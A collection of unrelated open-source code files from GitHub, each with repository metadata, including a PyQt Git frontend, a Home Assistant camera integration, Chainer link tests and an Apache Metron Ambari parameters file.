self.GitCloneAction = QtGui.QAction(QtGui.QIcon(':/resources/gitclone.png'), "&Clone",
self, shortcut="Alt+1", statusTip="Clone a repository into a new directory",
triggered=self.DoGitClone)
self.GitStatusAction = QtGui.QAction(QtGui.QIcon(':/resources/gitstatus.png'), "&Status",
self, shortcut="Alt+3", statusTip="Show the working tree status",
triggered=self.DoGitStatus)
self.GitLogAction = QtGui.QAction(QtGui.QIcon(':/resources/gitlog.png'), "&Log",
self, shortcut="Alt+4", statusTip="Show commit logs",
triggered=self.DoGitLog)
self.GitDiffAction = QtGui.QAction(QtGui.QIcon(':/resources/gitdiff.png'), "&Diff",
self, shortcut="Alt+5", statusTip="Show changes between commits, commit and working tree",
triggered=self.DoGitDiff)
self.GitConfigAction = QtGui.QAction(QtGui.QIcon(':/resources/gitconfig.png'), "&Config",
self, shortcut="Alt+6", statusTip="Get and set repository or global options",
triggered=self.DoGitConfig)
self.GitPullAction = QtGui.QAction(QtGui.QIcon(':/resources/gitpull.png'), "&Pull",
self, shortcut="Alt+7", statusTip="Fetch from and merge with another repository or a local branch",
triggered=self.DoGitPull)
self.GitFetchAction = QtGui.QAction(QtGui.QIcon(':/resources/gitfetch.png'), "&Fetch",
self, shortcut="Alt+8", statusTip="Download objects and refs from another repository",
triggered=self.DoGitFetch)
self.GitCommitAction = QtGui.QAction(QtGui.QIcon(':/resources/gitcommit.png'), "&Commit",
self, shortcut="Alt+9", statusTip="Record changes to the repository",
triggered=self.DoGitCommit)
self.GitPushAction = QtGui.QAction(QtGui.QIcon(':/resources/gitpush.png'), "&Push",
self, shortcut="Alt+0", statusTip="Update remote refs along with associated objects",
triggered=self.DoGitPush)
self.GitBranchAction = QtGui.QAction(QtGui.QIcon(':/resources/gitbranch.png'), "&Branch",
self, shortcut="Alt+Q", statusTip="List, create, or delete branches",
triggered=self.DoGitBranch)
self.GitTagAction = QtGui.QAction(QtGui.QIcon(':/resources/gittag.png'), "&Tag",
self, shortcut="Alt+W", statusTip="Create, list, delete or verify a tag object",
triggered=self.DoGitTag)
self.GitMergeAction = QtGui.QAction(QtGui.QIcon(':/resources/gitmerge.png'), "&Merge",
self, shortcut="Alt+E", statusTip="Join two or more development histories together",
triggered=self.DoGitMerge)
self.GitRebaseAction = QtGui.QAction(QtGui.QIcon(':/resources/gitrebase.png'), "&Rebase",
self, shortcut="Alt+R", statusTip="Forward-port local commits to the updated upstream head",
triggered=self.DoGitRebase)
self.HelpAction = QtGui.QAction(QtGui.QIcon(':/resources/help.png'), "&Help",
self, shortcut="Shift+?", statusTip="Gitra Help...",
triggered=self.DoHelp)
self.AboutAction = QtGui.QAction(QtGui.QIcon(':/resources/about.png'), "A&bout",
self, shortcut="Ctrl+?", statusTip="About...",
triggered=self.DoAbout)
#Handlers
def OnProjListItemChanged(self, current, previous):
currentSelection = self.projList.currentItem()
if currentSelection:
itemsPath = currentSelection.data(QtCore.Qt.UserRole).toString()
if itemsPath:
self.listTree.setRootIndex(self.treeModel.index(itemsPath));
def OnProjListItem(self, item):
self.AddGitProjectItem(item)
## TODO: move to the logic layer
lmbStatus = lambda : self.git.Status(item=item)
self.worker.enqueue(lmbStatus)
################################
def OnProjListItemsDone(self):
#map(self.AddGitProjectItem, self.projects)
self.ActivateGitProjects()
#activate statuses refresh
self.worker.execute()
def OnProjGitCommand(self, item):
self.UpdateGitProjectItem(item)
#Events
def showEvent(self, event):
if not hasattr(self, 'is_shown'):
self.is_shown = True
self.DoRescan()
#Actions
def DoRescan(self):
self.ResetGitProjects()
self.worker.enqueue(self.git.Scan)
self.worker.execute()
pass
def DoGitClone(self):
pass
def DoGitInit(self):
pass
def DoGitStatus(self):
currentSelection = self.projList.currentItem()
if currentSelection:
item = currentSelection.data(QtCore.Qt.UserRole + 1).toPyObject()
self.git.Status(item=item)
pass
def DoGitLog(self):
pass
def DoGitDiff(self):
pass
def DoGitConfig(self):
pass
def DoGitPull(self):
currentSelection = self.projList.currentItem()
if currentSelection:
item = currentSelection.data(QtCore.Qt.UserRole + 1).toPyObject()
self.git.Pull(item=item)
pass
def DoGitFetch(self):
currentSelection = self.projList.currentItem()
if currentSelection:
item = currentSelection.data(QtCore.Qt.UserRole + 1).toPyObject()
self.git.Fetch(item=item)
pass
def DoGitCommit(self):
pass
def DoGitPush(self):
currentSelection = self.projList.currentItem()
if currentSelection:
item = currentSelection.data(QtCore.Qt.UserRole + 1).toPyObject()
self.git.Push(item=item)
pass
def DoGitBranch(self):
pass
def DoGitTag(self):
pass
def DoGitMerge(self):
pass
def DoGitRebase(self):
pass
def DoHelp(self):
self.git.Help()
pass
def DoAbout(self):
QtGui.QMessageBox.about(self, "About Gitra-VCF",
"Gitra-VCF - version control frontend."
"\n\n"
"It's the projects aggregator with the Git support."
"\n\n"
"Copyright (C) 2011 Oleg Kertanov <okertanov@gmail.com>"
"\n\n"
"All rights reserved.")
pass
#
# MainWindowLoggingHandler class
#
class MainWindowLoggingHandler(logging.Handler):
def __init__(self, level, owner):
logging.Handler.__init__(self, level)
self.owner = owner
pass
def createLock(self):
self.mutex = QtCore.QMutex()
pass
def acquire(self):
self.mutex.lock()
pass
def release(self):
self.mutex.unlock()
pass
def setLevel(self, level):
self.level = level
pass
def filter(self, record):
return record
pass
def flush(self):
pass
def close(self):
pass
def format(self, record):
logleveldict = {}
msg = record.getMessage()
fmtmsgcolor = 'DarkSlateGray'
fmtloglevelcolor = 'SlateGray'
fmtbody = '''<p><span style="color:%(loglevelcolor)s">'
%(loglevel)s> </span>'
'<span style="color:%(msgcolor)s">%(message)s<span><br/></p>'''
formatted = fmtbody % {'loglevelcolor':fmtloglevelcolor,
'msgcolor':fmtmsgcolor,
'loglevel':logging.getLevelName(record.levelno),
'message':msg}
return formatted
def emit(self, record):
self.owner.UiLogMessage(self.format(record))
pass
| {
"content_hash": "9fc9807383323b425161e60b6a80c601",
"timestamp": "",
"source": "github",
"line_count": 464,
"max_line_length": 123,
"avg_line_length": 39.86853448275862,
"alnum_prop": 0.6237634466727932,
"repo_name": "okertanov/Gitra-VCF",
"id": "5acc5f0585a99e02d3302005b1d8c8a5b1236b40",
"size": "18588",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "MainWindow.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Python",
"bytes": "32085"
}
],
"symlink_target": ""
} |
"""Support to the Logi Circle cameras."""
import logging
import asyncio
from datetime import timedelta
import voluptuous as vol
from homeassistant.helpers import config_validation as cv
from homeassistant.components.logi_circle import (
DOMAIN as LOGI_CIRCLE_DOMAIN, ATTRIBUTION)
from homeassistant.components.camera import (
Camera, PLATFORM_SCHEMA, CAMERA_SERVICE_SCHEMA, SUPPORT_ON_OFF,
ATTR_ENTITY_ID, ATTR_FILENAME, DOMAIN)
from homeassistant.const import (
ATTR_ATTRIBUTION, ATTR_BATTERY_CHARGING, ATTR_BATTERY_LEVEL,
CONF_SCAN_INTERVAL, STATE_ON, STATE_OFF)
DEPENDENCIES = ['logi_circle']
_LOGGER = logging.getLogger(__name__)
SCAN_INTERVAL = timedelta(seconds=60)
SERVICE_SET_CONFIG = 'logi_circle_set_config'
SERVICE_LIVESTREAM_SNAPSHOT = 'logi_circle_livestream_snapshot'
SERVICE_LIVESTREAM_RECORD = 'logi_circle_livestream_record'
DATA_KEY = 'camera.logi_circle'
BATTERY_SAVING_MODE_KEY = 'BATTERY_SAVING'
PRIVACY_MODE_KEY = 'PRIVACY_MODE'
LED_MODE_KEY = 'LED'
ATTR_MODE = 'mode'
ATTR_VALUE = 'value'
ATTR_DURATION = 'duration'
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Optional(CONF_SCAN_INTERVAL, default=SCAN_INTERVAL):
cv.time_period,
})
LOGI_CIRCLE_SERVICE_SET_CONFIG = CAMERA_SERVICE_SCHEMA.extend({
vol.Required(ATTR_MODE): vol.In([BATTERY_SAVING_MODE_KEY, LED_MODE_KEY,
PRIVACY_MODE_KEY]),
vol.Required(ATTR_VALUE): cv.boolean
})
LOGI_CIRCLE_SERVICE_SNAPSHOT = CAMERA_SERVICE_SCHEMA.extend({
vol.Required(ATTR_FILENAME): cv.template
})
LOGI_CIRCLE_SERVICE_RECORD = CAMERA_SERVICE_SCHEMA.extend({
vol.Required(ATTR_FILENAME): cv.template,
vol.Required(ATTR_DURATION): cv.positive_int
})
async def async_setup_platform(
hass, config, async_add_entities, discovery_info=None):
"""Set up a Logi Circle Camera."""
devices = hass.data[LOGI_CIRCLE_DOMAIN]
cameras = []
for device in devices:
cameras.append(LogiCam(device, config))
async_add_entities(cameras, True)
async def service_handler(service):
"""Dispatch service calls to target entities."""
params = {key: value for key, value in service.data.items()
if key != ATTR_ENTITY_ID}
entity_ids = service.data.get(ATTR_ENTITY_ID)
if entity_ids:
target_devices = [dev for dev in cameras
if dev.entity_id in entity_ids]
else:
target_devices = cameras
for target_device in target_devices:
if service.service == SERVICE_SET_CONFIG:
await target_device.set_config(**params)
if service.service == SERVICE_LIVESTREAM_SNAPSHOT:
await target_device.livestream_snapshot(**params)
if service.service == SERVICE_LIVESTREAM_RECORD:
await target_device.download_livestream(**params)
hass.services.async_register(
DOMAIN, SERVICE_SET_CONFIG, service_handler,
schema=LOGI_CIRCLE_SERVICE_SET_CONFIG)
hass.services.async_register(
DOMAIN, SERVICE_LIVESTREAM_SNAPSHOT, service_handler,
schema=LOGI_CIRCLE_SERVICE_SNAPSHOT)
hass.services.async_register(
DOMAIN, SERVICE_LIVESTREAM_RECORD, service_handler,
schema=LOGI_CIRCLE_SERVICE_RECORD)
class LogiCam(Camera):
"""An implementation of a Logi Circle camera."""
def __init__(self, camera, device_info):
"""Initialize Logi Circle camera."""
super().__init__()
self._camera = camera
self._name = self._camera.name
self._id = self._camera.mac_address
self._has_battery = self._camera.supports_feature('battery_level')
@property
def unique_id(self):
"""Return a unique ID."""
return self._id
@property
def name(self):
"""Return the name of this camera."""
return self._name
@property
def supported_features(self):
"""Logi Circle camera's support turning on and off ("soft" switch)."""
return SUPPORT_ON_OFF
@property
def device_state_attributes(self):
"""Return the state attributes."""
state = {
ATTR_ATTRIBUTION: ATTRIBUTION,
'battery_saving_mode': (
STATE_ON if self._camera.battery_saving else STATE_OFF),
'ip_address': self._camera.ip_address,
'microphone_gain': self._camera.microphone_gain
}
# Add battery attributes if camera is battery-powered
if self._has_battery:
state[ATTR_BATTERY_CHARGING] = self._camera.is_charging
state[ATTR_BATTERY_LEVEL] = self._camera.battery_level
return state
async def async_camera_image(self):
"""Return a still image from the camera."""
return await self._camera.get_snapshot_image()
async def async_turn_off(self):
"""Disable streaming mode for this camera."""
await self._camera.set_streaming_mode(False)
async def async_turn_on(self):
"""Enable streaming mode for this camera."""
await self._camera.set_streaming_mode(True)
@property
def should_poll(self):
"""Update the image periodically."""
return True
async def set_config(self, mode, value):
"""Set an configuration property for the target camera."""
if mode == LED_MODE_KEY:
await self._camera.set_led(value)
if mode == PRIVACY_MODE_KEY:
await self._camera.set_privacy_mode(value)
if mode == BATTERY_SAVING_MODE_KEY:
await self._camera.set_battery_saving_mode(value)
async def download_livestream(self, filename, duration):
"""Download a recording from the camera's livestream."""
# Render filename from template.
filename.hass = self.hass
stream_file = filename.async_render(
variables={ATTR_ENTITY_ID: self.entity_id})
# Respect configured path whitelist.
if not self.hass.config.is_allowed_path(stream_file):
_LOGGER.error(
"Can't write %s, no access to path!", stream_file)
return
asyncio.shield(self._camera.record_livestream(
stream_file, timedelta(seconds=duration)), loop=self.hass.loop)
async def livestream_snapshot(self, filename):
"""Download a still frame from the camera's livestream."""
# Render filename from template.
filename.hass = self.hass
snapshot_file = filename.async_render(
variables={ATTR_ENTITY_ID: self.entity_id})
# Respect configured path whitelist.
if not self.hass.config.is_allowed_path(snapshot_file):
_LOGGER.error(
"Can't write %s, no access to path!", snapshot_file)
return
asyncio.shield(self._camera.get_livestream_image(
snapshot_file), loop=self.hass.loop)
async def async_update(self):
"""Update camera entity and refresh attributes."""
await self._camera.update()
| {
"content_hash": "b68ac186b497c3ea8a3e1c784a133666",
"timestamp": "",
"source": "github",
"line_count": 205,
"max_line_length": 78,
"avg_line_length": 34.326829268292684,
"alnum_prop": 0.6427454881341481,
"repo_name": "HydrelioxGitHub/home-assistant",
"id": "4f349dd986e449abb1953e354f42b3302b085ed9",
"size": "7037",
"binary": false,
"copies": "2",
"ref": "refs/heads/dev",
"path": "homeassistant/components/logi_circle/camera.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "1175"
},
{
"name": "Dockerfile",
"bytes": "1081"
},
{
"name": "Python",
"bytes": "14330009"
},
{
"name": "Ruby",
"bytes": "745"
},
{
"name": "Shell",
"bytes": "17364"
}
],
"symlink_target": ""
} |
"""Simulate a crashing-after-pass google-test executable.
http://code.google.com/p/googletest/
"""
import os
import sys
import gtest_fake_base
TESTS = {
'Foo': ['Bar1', 'Bar2'],
}
def main():
test_cases, args = gtest_fake_base.parse_args(TESTS, 1)
temp_dir = args[0]
result = 0
for test_case in test_cases:
filename = os.path.join(temp_dir, test_case)
# Fails on first run, succeeds on the second.
should_fail = not os.path.isfile(filename)
# But it still prints it succeeded.
print gtest_fake_base.get_test_output(test_case, False)
result = result or int(should_fail)
if should_fail:
with open(filename, 'wb') as f:
f.write('bang')
print gtest_fake_base.get_footer(len(test_cases), len(test_cases))
if result:
print('OMG I crashed')
print('Here\'s a stack trace')
return result
if __name__ == '__main__':
sys.exit(main())
| {
"content_hash": "3477503ff943e40aac33f3e30f4177d6",
"timestamp": "",
"source": "github",
"line_count": 40,
"max_line_length": 68,
"avg_line_length": 22.525,
"alnum_prop": 0.6492785793562708,
"repo_name": "windyuuy/opera",
"id": "58437815afdd4c8da015cb666b4cf9bc63688376",
"size": "1090",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "chromium/src/tools/swarm_client/tests/gtest_fake/gtest_fake_crash_after_pass.py",
"mode": "33261",
"license": "bsd-3-clause",
"language": [
{
"name": "ApacheConf",
"bytes": "25707"
},
{
"name": "AppleScript",
"bytes": "6973"
},
{
"name": "Assembly",
"bytes": "51642"
},
{
"name": "Batchfile",
"bytes": "35942"
},
{
"name": "C",
"bytes": "4303018"
},
{
"name": "C#",
"bytes": "35203"
},
{
"name": "C++",
"bytes": "207333360"
},
{
"name": "CMake",
"bytes": "25089"
},
{
"name": "CSS",
"bytes": "681256"
},
{
"name": "Dart",
"bytes": "24294"
},
{
"name": "Emacs Lisp",
"bytes": "25534"
},
{
"name": "Groff",
"bytes": "5283"
},
{
"name": "HTML",
"bytes": "10400943"
},
{
"name": "IDL",
"bytes": "836"
},
{
"name": "Java",
"bytes": "2821184"
},
{
"name": "JavaScript",
"bytes": "14563996"
},
{
"name": "Lua",
"bytes": "13749"
},
{
"name": "Makefile",
"bytes": "55521"
},
{
"name": "Objective-C",
"bytes": "1211523"
},
{
"name": "Objective-C++",
"bytes": "6221908"
},
{
"name": "PHP",
"bytes": "61320"
},
{
"name": "Perl",
"bytes": "82949"
},
{
"name": "Protocol Buffer",
"bytes": "280464"
},
{
"name": "Python",
"bytes": "12627773"
},
{
"name": "Rebol",
"bytes": "262"
},
{
"name": "Ruby",
"bytes": "937"
},
{
"name": "Scheme",
"bytes": "10604"
},
{
"name": "Shell",
"bytes": "894814"
},
{
"name": "VimL",
"bytes": "4953"
},
{
"name": "XSLT",
"bytes": "418"
},
{
"name": "nesC",
"bytes": "14650"
}
],
"symlink_target": ""
} |
"""
==============================
Show the different brain views
==============================
Among the views available are lateral, rostral, caudal, frontal etc.
"""
print __doc__
from surfer import Brain
sub = 'fsaverage'
hemi = 'both'
surf = 'inflated'
brain = Brain(sub, hemi, surf)
###############################################################################
# show all views
brain.show_view('lateral')
brain.show_view('m')
brain.show_view('rostral')
brain.show_view('caudal')
brain.show_view('ve')
brain.show_view('frontal')
brain.show_view('par')
brain.show_view('dor')
###############################################################################
# More advanced parameters
brain.show_view({'distance': 432})
# with great power comes great responsibility
brain.show_view({'azimuth': 135, 'elevation': 79}, roll=107)
| {
"content_hash": "72656bfe15d3a376bb6062aa33814ebc",
"timestamp": "",
"source": "github",
"line_count": 34,
"max_line_length": 79,
"avg_line_length": 24.676470588235293,
"alnum_prop": 0.5244338498212158,
"repo_name": "aestrivex/PySurfer",
"id": "8b417cf778243f2a34bed39529cbd67554f1584a",
"size": "839",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "examples/show_views.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [],
"symlink_target": ""
} |
"""This module contains code relating to the use of OpenFlow Metadata within
Faucet.
"""
PORT_METADATA_MASK = 0xFFF
VLAN_METADATA_MASK = 0xFFF000
EGRESS_METADATA_MASK = PORT_METADATA_MASK | VLAN_METADATA_MASK
def get_egress_metadata(port_num, vid):
"""Return the metadata value to output a packet to port port_num on vlan
vid"""
metadata = vid << 12 | (port_num & PORT_METADATA_MASK)
return metadata, EGRESS_METADATA_MASK
| {
"content_hash": "4c4e56283ceabb51a996b95d39160da3",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 76,
"avg_line_length": 33.84615384615385,
"alnum_prop": 0.7272727272727273,
"repo_name": "faucetsdn/faucet",
"id": "037b3212c03d297c6a419157aa9d41cf631b6e64",
"size": "440",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "faucet/faucet_metadata.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Makefile",
"bytes": "2538"
},
{
"name": "Python",
"bytes": "2160701"
},
{
"name": "Shell",
"bytes": "16152"
}
],
"symlink_target": ""
} |
import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
import json
def parse_raw(raw_json):
data = json.loads(raw_json)
outputs = {
'expanse_raw_json_event': data
}
readable_outputs = tableToMarkdown('Event Information', data)
return (
readable_outputs,
outputs,
raw_json
)
def main():
try:
return_outputs(*parse_raw(demisto.args().get('expanse_raw_json_event', '')))
except Exception as ex:
return_error(f'Failed to execute ExpanseParseRawIncident. Error: {str(ex)}')
if __name__ in ('__builtin__', 'builtins'):
main()
| {
"content_hash": "25c4afa95d7f1bec64c5245e367b6c3b",
"timestamp": "",
"source": "github",
"line_count": 31,
"max_line_length": 84,
"avg_line_length": 21.225806451612904,
"alnum_prop": 0.6367781155015197,
"repo_name": "VirusTotal/content",
"id": "124f6d4e39dda4e042273accf659d8c72052cb8a",
"size": "658",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "Packs/Expanse/Scripts/ExpanseParseRawIncident/ExpanseParseRawIncident.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Dockerfile",
"bytes": "2146"
},
{
"name": "HTML",
"bytes": "205901"
},
{
"name": "JavaScript",
"bytes": "1584075"
},
{
"name": "PowerShell",
"bytes": "442288"
},
{
"name": "Python",
"bytes": "47594464"
},
{
"name": "Rich Text Format",
"bytes": "480911"
},
{
"name": "Shell",
"bytes": "108066"
},
{
"name": "YARA",
"bytes": "1185"
}
],
"symlink_target": ""
} |
import unittest
import mock
import numpy
import chainer
from chainer import cuda
from chainer import functions
from chainer import links
from chainer import testing
from chainer.testing import attr
@testing.parameterize(
{'use_cudnn': 'always'},
{'use_cudnn': 'never'},
)
class TestMLPConvolution2D(unittest.TestCase):
def setUp(self):
self.mlp = links.MLPConvolution2D(
3, (96, 96, 96), 11, activation=functions.sigmoid)
self.x = numpy.zeros((10, 3, 20, 20), dtype=numpy.float32)
def test_init(self):
self.assertIs(self.mlp.activation, functions.sigmoid)
self.assertEqual(len(self.mlp), 3)
for i, conv in enumerate(self.mlp):
self.assertIsInstance(conv, links.Convolution2D)
if i == 0:
self.assertEqual(conv.W.data.shape, (96, 3, 11, 11))
else:
self.assertEqual(conv.W.data.shape, (96, 96, 1, 1))
def check_call(self, x_data):
with chainer.using_config('use_cudnn', self.use_cudnn):
x = chainer.Variable(x_data)
actual = self.mlp(x)
act = functions.sigmoid
expect = self.mlp[2](act(self.mlp[1](act(self.mlp[0](x)))))
numpy.testing.assert_array_equal(
cuda.to_cpu(expect.data), cuda.to_cpu(actual.data))
def test_call_cpu(self):
self.check_call(self.x)
@attr.gpu
def test_call_gpu(self):
self.mlp.to_gpu()
self.check_call(cuda.to_gpu(self.x))
@testing.parameterize(
{'use_cudnn': 'always'},
{'use_cudnn': 'never'},
)
@attr.cudnn
class TestMLPConvolution2DCudnnCall(unittest.TestCase):
def setUp(self):
self.mlp = links.MLPConvolution2D(
3, (96, 96, 96), 11, activation=functions.sigmoid)
self.mlp.to_gpu()
self.x = cuda.cupy.zeros((10, 3, 20, 20), dtype=numpy.float32)
self.gy = cuda.cupy.zeros((10, 96, 10, 10), dtype=numpy.float32)
def forward(self):
x = chainer.Variable(self.x)
return self.mlp(x)
def test_call_cudnn_forward(self):
with chainer.using_config('use_cudnn', self.use_cudnn):
with mock.patch('cupy.cudnn.cudnn.convolutionForward') as func:
self.forward()
self.assertEqual(func.called,
chainer.should_use_cudnn('>=auto'))
def test_call_cudnn_backrward(self):
with chainer.using_config('use_cudnn', self.use_cudnn):
y = self.forward()
y.grad = self.gy
if cuda.cudnn.cudnn.getVersion() >= 3000:
patch = 'cupy.cudnn.cudnn.convolutionBackwardData_v3'
else:
patch = 'cupy.cudnn.cudnn.convolutionBackwardData_v2'
with mock.patch(patch) as func:
y.backward()
self.assertEqual(func.called,
chainer.should_use_cudnn('>=auto'))
@testing.parameterize(*testing.product({
'use_cudnn': ['always', 'never'],
'mlpconv_args': [
((None, (96, 96, 96), 11), {'activation': functions.sigmoid}),
(((96, 96, 96), 11), {'activation': functions.sigmoid})
]
}))
class TestMLPConvolution2DShapePlaceholder(unittest.TestCase):
def setUp(self):
args, kwargs = self.mlpconv_args
self.mlp = links.MLPConvolution2D(*args, **kwargs)
self.x = numpy.zeros((10, 3, 20, 20), dtype=numpy.float32)
def test_init(self):
self.assertIs(self.mlp.activation, functions.sigmoid)
self.assertEqual(len(self.mlp), 3)
def check_call(self, x_data):
with chainer.using_config('use_cudnn', self.use_cudnn):
x = chainer.Variable(x_data)
actual = self.mlp(x)
act = functions.sigmoid
expect = self.mlp[2](act(self.mlp[1](act(self.mlp[0](x)))))
numpy.testing.assert_array_equal(
cuda.to_cpu(expect.data), cuda.to_cpu(actual.data))
for i, conv in enumerate(self.mlp):
self.assertIsInstance(conv, links.Convolution2D)
if i == 0:
self.assertEqual(conv.W.data.shape, (96, 3, 11, 11))
else:
self.assertEqual(conv.W.data.shape, (96, 96, 1, 1))
def test_call_cpu(self):
self.check_call(self.x)
@attr.gpu
def test_call_gpu(self):
self.mlp.to_gpu()
self.check_call(cuda.to_gpu(self.x))
class TestInitArgumentForv2(unittest.TestCase):
in_channels = 10
out_channels = (15, 20)
ksize = 3
stride = 1
pad = 0
def test_valid_instantiation_ksize_is_not_none(self):
l = links.MLPConvolution2D(
self.in_channels, self.out_channels, self.ksize, self.stride,
self.pad, functions.relu, conv_init=None, bias_init=None)
self.assertEqual(len(l), 2)
self.assertEqual(l[0].W.shape,
(self.out_channels[0], self.in_channels,
self.ksize, self.ksize))
self.assertEqual(l[1].W.shape,
(self.out_channels[1], self.out_channels[0], 1, 1))
def test_valid_instantiation_ksize_is_none(self):
l = links.MLPConvolution2D(self.out_channels, self.ksize, None,
self.stride, self.pad, functions.relu,
conv_init=None, bias_init=None)
x = numpy.random.uniform(
-1, 1, (10, self.in_channels, 10, 10)).astype(numpy.float32)
l(x) # create weight tensors of convolutions by initialization
self.assertEqual(len(l), 2)
self.assertEqual(l[0].W.shape,
(self.out_channels[0], self.in_channels,
self.ksize, self.ksize))
self.assertEqual(l[1].W.shape,
(self.out_channels[1], self.out_channels[0], 1, 1))
def test_valid_instantiation_in_channels_is_omitted(self):
l = links.MLPConvolution2D(
self.out_channels, self.ksize, stride=self.stride, pad=self.pad,
activation=functions.relu, conv_init=None, bias_init=None)
x = numpy.random.uniform(
-1, 1, (10, self.in_channels, 10, 10)).astype(numpy.float32)
l(x) # create weight tensors of convolutions by initialization
self.assertEqual(len(l), 2)
self.assertEqual(l[0].W.shape,
(self.out_channels[0], self.in_channels,
self.ksize, self.ksize))
self.assertEqual(l[1].W.shape,
(self.out_channels[1], self.out_channels[0], 1, 1))
def test_forbid_wscale_as_a_positional_argument(self):
with self.assertRaises(TypeError):
# 7th positional argument was wscale in v1
links.MLPConvolution2D(self.in_channels, self.out_channels, None,
self.stride, self.pad, functions.relu, 1)
def test_forbid_wscale_as_a_keyword_argument(self):
with self.assertRaises(ValueError):
links.MLPConvolution2D(
self.in_channels, self.out_channels, wscale=1)
testing.run_module(__name__, __file__)
| {
"content_hash": "ace182dc3fb0a1fe544493d1b2a87a78",
"timestamp": "",
"source": "github",
"line_count": 196,
"max_line_length": 77,
"avg_line_length": 36.464285714285715,
"alnum_prop": 0.5808031341821743,
"repo_name": "delta2323/chainer",
"id": "de05fd87a8fe5092347e042a70ac36afac28c063",
"size": "7147",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "tests/chainer_tests/links_tests/connection_tests/test_mlp_convolution_2d.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "3366"
},
{
"name": "PowerShell",
"bytes": "7195"
},
{
"name": "Python",
"bytes": "2596439"
}
],
"symlink_target": ""
} |
"""
Automated tests for the astroML figures
"""
| {
"content_hash": "3787080b426bdccbf64fbb788e707564",
"timestamp": "",
"source": "github",
"line_count": 3,
"max_line_length": 39,
"avg_line_length": 16,
"alnum_prop": 0.7083333333333334,
"repo_name": "kcavagnolo/astroML",
"id": "fab0b4eb44c0d39a13514522d28cf119dd8c50e3",
"size": "48",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "astroML_fig_tests/__init__.py",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Makefile",
"bytes": "696"
},
{
"name": "Python",
"bytes": "1087103"
}
],
"symlink_target": ""
} |
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import functools
import os
from resource_management.libraries.functions import conf_select
from resource_management.libraries.functions import format
from resource_management.libraries.functions import get_kinit_path
from resource_management.libraries.functions import stack_select
from resource_management.libraries.functions.default import default
from resource_management.libraries.functions.get_not_managed_resources import get_not_managed_resources
from resource_management.libraries.resources.hdfs_resource import HdfsResource
from resource_management.libraries.script import Script
from resource_management.libraries.functions.version import format_stack_version
from resource_management.libraries.functions.stack_features import check_stack_feature
from resource_management.libraries.functions import StackFeature
import status_params
# server configurations
config = Script.get_config()
tmp_dir = Script.get_tmp_dir()
hostname = config['hostname']
metron_home = status_params.metron_home
parsers = status_params.parsers
parser_error_topic = config['configurations']['metron-parsers-env']['parser_error_topic']
geoip_hdfs_dir = "/apps/metron/geo/default/"
metron_user = status_params.metron_user
metron_group = config['configurations']['metron-env']['metron_group']
metron_log_dir = config['configurations']['metron-env']['metron_log_dir']
metron_pid_dir = config['configurations']['metron-env']['metron_pid_dir']
metron_rest_port = status_params.metron_rest_port
metron_management_ui_host = status_params.metron_management_ui_host
metron_management_ui_port = status_params.metron_management_ui_port
metron_alerts_ui_host = status_params.metron_alerts_ui_host
metron_alerts_ui_port = status_params.metron_alerts_ui_port
metron_jvm_flags = config['configurations']['metron-rest-env']['metron_jvm_flags']
metron_spring_profiles_active = config['configurations']['metron-rest-env']['metron_spring_profiles_active']
metron_jdbc_driver = config['configurations']['metron-rest-env']['metron_jdbc_driver']
metron_jdbc_url = config['configurations']['metron-rest-env']['metron_jdbc_url']
metron_jdbc_username = config['configurations']['metron-rest-env']['metron_jdbc_username']
metron_jdbc_password = config['configurations']['metron-rest-env']['metron_jdbc_password']
metron_jdbc_platform = config['configurations']['metron-rest-env']['metron_jdbc_platform']
metron_jdbc_client_path = config['configurations']['metron-rest-env']['metron_jdbc_client_path']
metron_spring_options = config['configurations']['metron-rest-env']['metron_spring_options']
metron_escalation_topic = config['configurations']['metron-rest-env']['metron_escalation_topic']
metron_config_path = metron_home + '/config'
metron_zookeeper_config_dir = status_params.metron_zookeeper_config_dir
metron_zookeeper_config_path = status_params.metron_zookeeper_config_path
# indicates if zk_load_configs.sh --mode PUSH has been executed
zk_configured_flag_file = status_params.zk_configured_flag_file
parsers_configured_flag_file = status_params.parsers_configured_flag_file
parsers_acl_configured_flag_file = status_params.parsers_acl_configured_flag_file
rest_acl_configured_flag_file = status_params.rest_acl_configured_flag_file
enrichment_kafka_configured_flag_file = status_params.enrichment_kafka_configured_flag_file
enrichment_kafka_acl_configured_flag_file = status_params.enrichment_kafka_acl_configured_flag_file
enrichment_hbase_configured_flag_file = status_params.enrichment_hbase_configured_flag_file
enrichment_hbase_acl_configured_flag_file = status_params.enrichment_hbase_acl_configured_flag_file
enrichment_geo_configured_flag_file = status_params.enrichment_geo_configured_flag_file
indexing_configured_flag_file = status_params.indexing_configured_flag_file
indexing_acl_configured_flag_file = status_params.indexing_acl_configured_flag_file
indexing_hbase_configured_flag_file = status_params.indexing_hbase_configured_flag_file
indexing_hbase_acl_configured_flag_file = status_params.indexing_hbase_acl_configured_flag_file
indexing_hdfs_perm_configured_flag_file = status_params.indexing_hdfs_perm_configured_flag_file
elasticsearch_template_installed_flag_file = status_params.elasticsearch_template_installed_flag_file
